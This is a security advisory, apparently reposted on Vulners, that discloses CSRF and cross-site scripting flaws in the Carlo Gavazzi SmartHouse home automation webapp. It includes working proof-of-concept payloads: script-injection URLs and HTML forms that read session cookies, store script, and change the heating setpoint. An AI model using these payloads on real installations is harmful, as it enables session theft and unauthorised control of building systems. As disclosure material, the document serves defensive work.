Lucene search
K

Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS Vulnerabilities

🗓️ 30 Nov 2019 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 59 Views

Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS vulnerabilities. Allows unauthorized actions, lacks input sanitization, affects versions 6.5.33 to 5.3.3

Related
Code
<html><body><p>Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS Vulnerabilities


Vendor: Carlo Gavazzi Automation S.p.A
Product web page: http://www.gavazzi-automation.com | http://www.smarthouse.nu
Affected version: Web-app: 6.5.33.17072501
                  Web-app: 6.5.32.17062101
                  Web-app: 6.2.3.16102701
                  Web-app: 5.5.3.160421101
                  Web-app: 5.3.3.15120101
                  Release: 1.0.5.1
                  Release: 1.0.5.0
                  Release: 1.0.3.5
                  Release: 1.0.3.2

Summary: Carlo Gavazzi is an international company that develops, manufactures
and sells electrical automation components. Our products are used in industrial
automation and real estate automation. Smart-house is based on a system that we
have developed and produced since 1986, mainly for industrial-related installations.
Our system is present in more than 150,000 installations. For a few years now, we
have focused our development on smart electrical installations for home and property
automation. Smart-house is currently installed in both villas and commercial properties.

Desc: The application suffers from multiple CSRF and XSS vulnerabilities. The application
allows users to perform certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform certain actions with
administrative privileges if a logged-in user visits a malicious web site. Input passed
to several GET/POST parameters is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session
in context of an affected site.

Tested on: Apache
           PHP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5543
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5543.php


01.11.2019

--


Reflected XSS (GET):
--------------------

1. http://192.168.0.24/app/index.php?error=Waddup"&gt;<script>confirm(document.cookie)</script> (pre-auth)
2. http://192.168.0.24/app/messagepage.php?msg=<script>confirm(document.cookie)</script> (pre-auth)
3. http://192.168.0.24/app/detaf.php?p=0&amp;l=50"&gt;<script>confirm(document.cookie)</script>&amp;f=5658 (post-auth)
4. http://192.168.0.24/app/detaf.php?p=0"&gt;<script>confirm(document.cookie)</script>&amp;l=50&amp;f=5658 (post-auth)
5. http://192.168.0.24/?functionsh=list&amp;part[]=fn__intrudermain001&amp;part[]=fn__intrudersec002&amp;name=IntruderMainFunction"&gt;<script>confirm(document.cookie)</script>&amp;grpl=1 (post-auth)


CSRF set temperature:
---------------------


  </p>
<form action="http://192.168.0.24/app/datasend.php" method="POST">
<input name="IDFunction" type="hidden" value="3875"/>
<input name="favorite" type="hidden" value="0"/>
<input name="rooms" type="hidden" value="-1"/>
<input name="userId" type="hidden" value="-300"/>
<input name="heat_ensave_set" type="hidden" value="24"/>
<input name="heat_set" type="hidden" value="25.5"/>
<input type="submit" value="Set"/>
</form>
  



Stored XSS (POST):
------------------


  
    <form action="http://192.168.0.24/app/command.php" method="POST">
<input name="op" type="hidden" value="11"/>
<input name="name" type="hidden" value='Graph name"&gt;&lt;script&gt;confirm(document.cookie)&lt;/script&gt;'/>
<input name="period" type="hidden" value="2"/>
<input name="gg" type="hidden" value="6"/>
<input name="ggf" type="hidden" value="6"/>
<input name="mm" type="hidden" value="11"/>
<input name="mmf" type="hidden" value="11"/>
<input name="aa" type="hidden" value="2019"/>
<input name="aaf" type="hidden" value="2019"/>
<input name="param" type="hidden" value="[1]"/>
<input type="submit" value="Send"/>
</form>
  



Reflected XSS (POST):
---------------------


  
    <form action="http://192.168.0.24/refresh.php">
<input name="param[0][]" type="hidden" value="switch0251&lt;script&gt;confirm(document.cookie)&lt;/script&gt;"/>
<input name="param[0][]" type="hidden" value="0251"/>
<input name="param[0][]" type="hidden" value="switch"/>
<input name="param[1][]" type="hidden" value="switch1250"/>
<input name="param[1][]" type="hidden" value="1250"/>
<input name="param[1][]" type="hidden" value="switch"/>
<input type="submit" value="Send"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation